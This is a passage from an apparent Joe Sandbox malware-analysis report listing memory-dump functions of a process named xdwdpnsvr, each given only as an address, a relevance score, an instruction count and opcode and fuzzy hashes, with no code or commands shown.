                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cec6121662621250e07db892fb33b7784d4faea725945858580c50a2742be3de
                                                                                                                                                                            • Instruction ID: de29391cd80212fd641c5900453ddf8a08f19129fdbf38a156f5ea62f5a5aa59
                                                                                                                                                                            • Opcode Fuzzy Hash: cec6121662621250e07db892fb33b7784d4faea725945858580c50a2742be3de
                                                                                                                                                                            • Instruction Fuzzy Hash: 1231C83AE2D6CE8FEB51D768D8595E87BF0EF69310F0900B7D40CD71A6F92868448351
                                                                                                                                                                            Function 00007FFE6F7EADA7 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: abfe214cb57a729f00f943d1a113124e02e64dfb57e72951f3ce6c381ffd6dec
                                                                                                                                                                            • Instruction ID: 3e20f562809a8adccd3e253ca8cd10057aa31a1442adcac86059bbdeae7a3086
                                                                                                                                                                            • Opcode Fuzzy Hash: abfe214cb57a729f00f943d1a113124e02e64dfb57e72951f3ce6c381ffd6dec
                                                                                                                                                                            • Instruction Fuzzy Hash: 03311C35E3995E8FEB84F728C8666FC77E0EF58301F40007AE459D32B2EE2878418650
                                                                                                                                                                            Function 00007FFE6F7E886D Relevance: .1, Instructions: 90COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c9e07297e16cb9d77ddc3136079036b05413bf996081a58b683e452da3ef9f8f
                                                                                                                                                                            • Instruction ID: 15e076149b2d3601a24e14bde63ce671b6980445ef07cfe71648c884d166edbc
                                                                                                                                                                            • Opcode Fuzzy Hash: c9e07297e16cb9d77ddc3136079036b05413bf996081a58b683e452da3ef9f8f
                                                                                                                                                                            • Instruction Fuzzy Hash: 33314819D3F2DE8EE756933868251A43FA19F56251F4901FBC4A8CB0F3F80C78198362
                                                                                                                                                                            Function 00007FFE6F7E8066 Relevance: .1, Instructions: 83COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: dfb5207838b375f1e232cefd7e2dc885128db846d4f1534245c83490adc07a98
                                                                                                                                                                            • Instruction ID: 9c059f69da2735d868835461497ec8655d8c1a90ec1f0a635083e3f72965f3a7
                                                                                                                                                                            • Opcode Fuzzy Hash: dfb5207838b375f1e232cefd7e2dc885128db846d4f1534245c83490adc07a98
                                                                                                                                                                            • Instruction Fuzzy Hash: BF310A30518B8C8FEB64DF28C8557D97BE1FB98710F14826EE84DC7265CB74A945CB82
                                                                                                                                                                            Function 00007FFE6F7E258D Relevance: .1, Instructions: 76COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: dc05f149315768436153cd09c8012f6b6f8a5f633ab92d96e5b1c408b306fc43
                                                                                                                                                                            • Instruction ID: 064ed7ba9d5efa99703b68d522841cd2f928ef4cc4522f4639b126bef2ef1d1b
                                                                                                                                                                            • Opcode Fuzzy Hash: dc05f149315768436153cd09c8012f6b6f8a5f633ab92d96e5b1c408b306fc43
                                                                                                                                                                            • Instruction Fuzzy Hash: 0E219F25E2E7CA8FE3526B3448255A83FA2AF47344F5A04FBD059CB1E3EA2D6845C311
                                                                                                                                                                            Function 00007FFE6F7EACEF Relevance: .1, Instructions: 68COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ccee6de7c13381fc1e0d5e8fe90800a288e706c91268a9f33fe2eb165eafc1ec
                                                                                                                                                                            • Instruction ID: 92c6caf1383d8e8a47a9afcb9184f4f7af2f6b6df4c8cf532372520d0b1fc19a
                                                                                                                                                                            • Opcode Fuzzy Hash: ccee6de7c13381fc1e0d5e8fe90800a288e706c91268a9f33fe2eb165eafc1ec
                                                                                                                                                                            • Instruction Fuzzy Hash: 3B112120A3995D8FE7C4FB2C84662FC77E1EF58701B4405BAE41EE72B6ED28AC418740
                                                                                                                                                                            Function 00007FFE6F7E88DD Relevance: .1, Instructions: 66COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f9f23fa76d60940a0b8c7fe4933fb808fd0e4506d3b4325ff0158e7972d4ad02
                                                                                                                                                                            • Instruction ID: 22a43e94f089c247c66aeda7ac78fabb136572f62d8a536295703b3c2770e807
                                                                                                                                                                            • Opcode Fuzzy Hash: f9f23fa76d60940a0b8c7fe4933fb808fd0e4506d3b4325ff0158e7972d4ad02
                                                                                                                                                                            • Instruction Fuzzy Hash: 9A21EC4996F7CA4FE307533428345A43FB09E67212B4E01EBD098DB0F3E90C68498367
                                                                                                                                                                            Function 00007FFE6F7ECB8B Relevance: .1, Instructions: 63COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 14d5e002a533d34a96a8478d4725e8e7b1afd03354a7cd855704953a2cbea9b6
                                                                                                                                                                            • Instruction ID: e9e1ff264eef31eb35103c6010fe60a7275582a6e83e10f6e0bacba2b2c568a0
                                                                                                                                                                            • Opcode Fuzzy Hash: 14d5e002a533d34a96a8478d4725e8e7b1afd03354a7cd855704953a2cbea9b6
                                                                                                                                                                            • Instruction Fuzzy Hash: 2601C836D7D56E8EEB54A35CE8621F87784EB45321F400077D56FD30A1E81938134240
                                                                                                                                                                            Function 00007FFE6F7E36EA Relevance: .1, Instructions: 61COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5a101af8076ae4f6640277eed6ea6c41ec9574ff068c9bdea23480ed879659eb
                                                                                                                                                                            • Instruction ID: e0baf36bab1e74ae6555e4a5fd796c8ffeedcf5bd173d702ae162641e43645de
                                                                                                                                                                            • Opcode Fuzzy Hash: 5a101af8076ae4f6640277eed6ea6c41ec9574ff068c9bdea23480ed879659eb
                                                                                                                                                                            • Instruction Fuzzy Hash: 2D01A132F3A8AC4EFAD4633850662B936D2DB9C320F450176D80ED72A2EC197C824380
                                                                                                                                                                            Function 00007FFE6F7ECAA7 Relevance: .1, Instructions: 55COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 7ee7f0a1b4d2bf641f149f58a51f9190956a13194ba176f0196bd11f0866cac5
                                                                                                                                                                            • Instruction ID: 93d95868ab38348da7e6ac52cc4fe2e426da938b40a9eaa03355d7420ca31863
                                                                                                                                                                            • Opcode Fuzzy Hash: 7ee7f0a1b4d2bf641f149f58a51f9190956a13194ba176f0196bd11f0866cac5
                                                                                                                                                                            • Instruction Fuzzy Hash: 9B11C619D3E2EF8AFBB06328A0656F53A905F15321F0600B3D86C9B5E2FA5C2CC5D385
                                                                                                                                                                            Function 00007FFE6F7E4978 Relevance: .0, Instructions: 36COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2574ddf9ce533713ee2b9e35e9594ddc9ff232606ff0149a9bcce9aa6a4d0eaa
                                                                                                                                                                            • Instruction ID: 8afdcf49a38409d319afe1d1f4c71c0e5ca87fec83d9d681bbbace2c60a64548
                                                                                                                                                                            • Opcode Fuzzy Hash: 2574ddf9ce533713ee2b9e35e9594ddc9ff232606ff0149a9bcce9aa6a4d0eaa
                                                                                                                                                                            • Instruction Fuzzy Hash: 26E06D09E3EC6F56F564237964A86F97081EB98362F940437E41ED21E6FC0CBC815286
                                                                                                                                                                            Function 00007FFE6F7E371F Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 75f60ff7d0fdbfca0fadf237f59b4983957a9b8d9b05e67b26cafd49fe9dd677
                                                                                                                                                                            • Instruction ID: 738a35304b75578aa9bfbd341b531359b2b0929070d9d15a0dc4ba5bb7ee0a90
                                                                                                                                                                            • Opcode Fuzzy Hash: 75f60ff7d0fdbfca0fadf237f59b4983957a9b8d9b05e67b26cafd49fe9dd677
                                                                                                                                                                            • Instruction Fuzzy Hash: 95F03026F3553D8AFBA4773CA4552F82281DB492B1F540576D81DCB2A6EC1D6CC206C0
                                                                                                                                                                            Function 00007FFE6F7E9E58 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 34417b13cc115632bdafa053b2eba9a9962cb78d442c01be0a459c2ddaa3d1da
                                                                                                                                                                            • Instruction ID: 5c0aeab382b43afc7eb48f406cfb19f6a95c631ee1208514d3405709d586228c
                                                                                                                                                                            • Opcode Fuzzy Hash: 34417b13cc115632bdafa053b2eba9a9962cb78d442c01be0a459c2ddaa3d1da
                                                                                                                                                                            • Instruction Fuzzy Hash: E9E0A022A2D9C98FE760972CD4A10A8BAE0EF2A310B0900E7D499C71B2E558AC818302
                                                                                                                                                                            Function 00007FFE6F7E4970 Relevance: .0, Instructions: 34COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 618c6e235f41b17fc43644921a30d5ece590de9cafb6cef70cb5d857ae997e82
                                                                                                                                                                            • Instruction ID: 40dc1a0320b2b526d5dffb6cab5da5607daa479a59fc7645bb5d9a39e0d9d70c
                                                                                                                                                                            • Opcode Fuzzy Hash: 618c6e235f41b17fc43644921a30d5ece590de9cafb6cef70cb5d857ae997e82
                                                                                                                                                                            • Instruction Fuzzy Hash: 87E06D24F3FC8E46FAA8A21964706F92081DFAC310F94003BD52ED22E4FC4C7C820286
                                                                                                                                                                            Function 00007FFE6F7E8D80 Relevance: .0, Instructions: 33COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 97f88139ae0ebd9c2159621feb4b68bc732b8e489a021d9e8fca920dd86d6df8
                                                                                                                                                                            • Instruction ID: 274ba80f7426123df124c2da4d70a48bef151b0bd0c0ca60107bb9b71fb60e29
                                                                                                                                                                            • Opcode Fuzzy Hash: 97f88139ae0ebd9c2159621feb4b68bc732b8e489a021d9e8fca920dd86d6df8
                                                                                                                                                                            • Instruction Fuzzy Hash: D2F0E210E2F9CE4AF746AB3820710F93A91AF65320B88407FD5A8951E3FD2C68448346
                                                                                                                                                                            Function 00007FFE6F7E8DB8 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ffcef6b8ed3a21189e650bdb96400250c301d61ea71fcf03bc6ac847f45229fb
                                                                                                                                                                            • Instruction ID: 268d24e6018c399cd742d0a9d36c2b4fcc21c245245f6c6c97a7cce8fa39e569
                                                                                                                                                                            • Opcode Fuzzy Hash: ffcef6b8ed3a21189e650bdb96400250c301d61ea71fcf03bc6ac847f45229fb
                                                                                                                                                                            • Instruction Fuzzy Hash: 00E06D15E3ECDF46E699A32824711F835D1EFA8210B880036D529D22E1FD4C78454286
                                                                                                                                                                            Function 00007FFE6F7E4A78 Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ef6bc005355d62a2f0d04866fc182e8f66473c1710d2a98e57ee3baeddf6f061
                                                                                                                                                                            • Instruction ID: 0c71d741bfe08e29e48b85e42fbcfd57b263cdc5307d70ee9d874b6474dd50c5
                                                                                                                                                                            • Opcode Fuzzy Hash: ef6bc005355d62a2f0d04866fc182e8f66473c1710d2a98e57ee3baeddf6f061
                                                                                                                                                                            • Instruction Fuzzy Hash: 00E0123293988D8FEA74A758D1945F8B1E0EF69310F1500B2E59DC71A5EA18BC814642
                                                                                                                                                                            Function 00007FFE6F7E9E08 Relevance: .0, Instructions: 22COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 311400e7aa3743a50e222eb6b456b1f606c194053a735b615aceb0bd9403ddab
                                                                                                                                                                            • Instruction ID: 7312823f9b3ea596db661dc66d345b08982c90d84614a9e715ac4163233df1ca
                                                                                                                                                                            • Opcode Fuzzy Hash: 311400e7aa3743a50e222eb6b456b1f606c194053a735b615aceb0bd9403ddab
                                                                                                                                                                            • Instruction Fuzzy Hash: 90E0E631A2588E8FEAB0974CD1945E872E0EF69310F150472F59DC71B5EA68EC814742
                                                                                                                                                                            Function 00007FFE6F7EC1BA Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3f5e06f2eff48d6dc1d300748ef2a1578d0fea295dd31ed88fca38375cd7a7e8
                                                                                                                                                                            • Instruction ID: 2164bd56f621b2a392bec3f1343c98fe97a4cdbfacd95ecc3517115973d037d9
                                                                                                                                                                            • Opcode Fuzzy Hash: 3f5e06f2eff48d6dc1d300748ef2a1578d0fea295dd31ed88fca38375cd7a7e8
                                                                                                                                                                            • Instruction Fuzzy Hash: F2D02E3452A94CCEDF80ABA8A4293ED7A60FF48312F80003AD00BE21C1CA7994A0C380
                                                                                                                                                                            Function 00007FFE6F7EC900 Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 96e13c19d74300e6b187b1d9a820d5a668d005110c3506395f0c3123bad1c08f
                                                                                                                                                                            • Instruction ID: c98c96a7891347ebadd8514552c1fd23997f56928c954fa88470576e87df9ff9
                                                                                                                                                                            • Opcode Fuzzy Hash: 96e13c19d74300e6b187b1d9a820d5a668d005110c3506395f0c3123bad1c08f
                                                                                                                                                                            • Instruction Fuzzy Hash: DFD0E904B79C8D4A65C9B32C106A2BD54D39BD911175445BBE41ED72B6ED1868831241
                                                                                                                                                                            Function 00007FFE6F7E98D0 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 558df617a2f6285c81ebe1faf6aa7c0e76d86c84f8b5bb7c5aded4fc4bc37466
                                                                                                                                                                            • Instruction ID: 318d725b7622c60937d825bcabdc0290a00d6cdff4498efdf3dccb135a243fbd
                                                                                                                                                                            • Opcode Fuzzy Hash: 558df617a2f6285c81ebe1faf6aa7c0e76d86c84f8b5bb7c5aded4fc4bc37466
                                                                                                                                                                            • Instruction Fuzzy Hash: 07D01224C9984F45EB08BBA484016EDB5A0DF50220F08407C940C92576DA6C7192C641
                                                                                                                                                                            Function 00007FFE6F7E882D Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ed72369ebb4164f9297e05d2137a5ffdaeab9b035c08e4e6313533229640fb04
                                                                                                                                                                            • Instruction ID: 2792d43f3b0ded14bfd80777be3e4830cae8989e7ffb213226529d03f4a49dcf
                                                                                                                                                                            • Opcode Fuzzy Hash: ed72369ebb4164f9297e05d2137a5ffdaeab9b035c08e4e6313533229640fb04
                                                                                                                                                                            • Instruction Fuzzy Hash: 9ED01221B1490D5F5640FA1C949DAF973C3E7EC6517144136D41DC3275EE34E9478381
                                                                                                                                                                            Function 00007FFE6F7E9E46 Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bf968eb4b68e0a070b4be475b635fea84dda850a8a802297681da0929a659aa0
                                                                                                                                                                            • Instruction ID: 5b755170ffb5b259939d197239eef7a3fcb408ca599c9bbb36e2bd2661409a6f
                                                                                                                                                                            • Opcode Fuzzy Hash: bf968eb4b68e0a070b4be475b635fea84dda850a8a802297681da0929a659aa0
                                                                                                                                                                            • Instruction Fuzzy Hash: 7AD0123161480C8FD790EB4CF0949A537E1FF5D31135500D1D05DCB265E665EC818741
                                                                                                                                                                            Function 00007FFE6F7E852E Relevance: .0, Instructions: 15COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5840a18b4855553fedfdfeac88f300386127813b3200432322fd483d888956fc
                                                                                                                                                                            • Instruction ID: eff638140ee11c2f3abc0afd16234e58e5406f87a44cd365e617cd1958a3bb99
                                                                                                                                                                            • Opcode Fuzzy Hash: 5840a18b4855553fedfdfeac88f300386127813b3200432322fd483d888956fc
                                                                                                                                                                            • Instruction Fuzzy Hash: B2D0223062B30C89EB182B3828120EC36A08F00261B9004BEE804CA1A3E82EC0C18300
                                                                                                                                                                            Function 00007FFE6F7EB595 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction ID: 651a18958ba05d8d7a4306b9a6f9d840eecb9a79b001315aa7c06f4e0a4c2b63
                                                                                                                                                                            • Opcode Fuzzy Hash: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction Fuzzy Hash: 39B0921223590C5A9344E319846A5F97290EBAC119B40092AA88AC21A1FC00AAC28345

                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                            Function 00007FFE6F7E0928 Relevance: 5.0, Strings: 4, Instructions: 22COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
